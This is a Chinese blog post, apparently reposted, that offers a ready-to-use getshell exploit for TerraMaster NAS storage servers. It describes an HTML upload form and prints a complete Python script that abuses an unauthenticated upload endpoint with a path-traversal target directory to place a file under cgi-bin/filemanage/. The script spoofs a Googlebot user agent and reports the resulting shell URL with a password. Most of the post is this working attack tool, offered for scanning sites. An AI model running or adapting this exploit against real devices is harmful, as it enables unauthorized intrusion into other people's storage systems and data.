TerraMaster NAS网络存储服务器getshell exploit

独自等待 2017年5月12日02:08:23评论444 views字数 3144阅读10分28秒阅读模式

TerraMaster介绍

Terra Master Storage System Inc. 总部位于美国纽约,从事高端专业存储的开发与销售已经超过16年的历史,是美国著名的专业储存品牌,Terra Master在银行、保险、学校、中小企业及高端家庭存储市场拥有较高的市场份额和良好的声誉。

2008年,Terra Master (铁威马)正式进入中国。将陆续推出Terra Master品牌的系列存储产品,如双硬盘RAID磁盘阵列存储系统、四硬盘RAID磁盘阵列存储系统、五硬盘RAID磁盘阵列存储系统、NDAS网络存储系统、NAS网络存储系统等产品。

近期乌云上面暴了好多文件上传的0day,铁威马就是其中一家,详情请看乌云的文章:

http://www.wooyun.org/bugs/wooyun-2015-095059

看完了乌云文章以后就想使用py折腾一个exp出来,方便此类站点的检测,于是有了正面的html版的exploit

TerraMaster 文件上传漏洞 exploit




    
    
    
    TerraMaster NAS网络存储服务器无限制getshell等漏洞


TerraMaster 文件上传漏洞 exploit by:独自等待

文件上传参数配置

目标URL:

Shell地址位于目标URL+/cgi-bin/filemanage/(+文件名为你上传时的文件名)

漏洞详情:http://www.wooyun.org/bugs/wooyun-2015-095059

使用方法很简单,将上面的代码保存为html,然后输入目标的url,然后上传即可,如下图:

TerraMaster 文件上传漏洞

TerraMaster 文件上传漏洞 exploit python版

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/5/7
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import sys, os, time

try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print '\t Python TerraMaster getshell exploit'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2015-05-07'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 2:
        print '用法: ' + os.path.basename(sys.argv[0]) + ' TerraMaster 网站地址'
        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
        sys.exit()


def getshell(url):
    '''
    TerraMaster文件上传GetShell函数
    :param url:  TerraMaster url地址
    :return:     返回得到的shell地址
    '''
    exp_url = url + 'include/upload.php?targetDir=../cgi-bin/filemanage/'
    headers = {'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'}
    filename = 'safe.php'
    with open(filename, 'wb') as fp:
        fp.write('')
    files = {
        'Filename': (None, filename),
        'name': (None, filename),
        'chunk': (None, '0'),
        'chunks': (None, '1'),
        'file': (filename, open(filename, 'rb'), 'application/octet-stream'),
        'Upload': (None, '给老子上!')
    }
    try:
        requests.post(exp_url, files=files, headers=headers)
        shell = url + 'cgi-bin/filemanage/' + filename
        reqcode = requests.get(shell, headers=headers).status_code
    except Exception, msg:
        print '\n[x] 发生错误了,卧槽!!!:', msg
    else:
        if reqcode == 200: return shell


if __name__ == '__main__':
    usage()
    start = time.time()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    ok = getshell(url)
    try:
        os.remove('safe.php')
    except Exception:
        print '\n[x] 删除临时文件失败,请手工删除!'
    if ok:
        print '\n[!] 爷,人品暴发了,成功得到Shell:\n\n%s 密码:%s' % (ok, 'hstsec')
    else:
        print '\n[x] 报告大爷,本站不存在此漏洞!'
    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

TerraMaster 文件上传漏洞

html和python版exploit code请君任选。。



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:08:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TerraMaster NAS网络存储服务器getshell exploithttp://cn-sec.com/archives/50338.html

发表评论

匿名网友 填写信息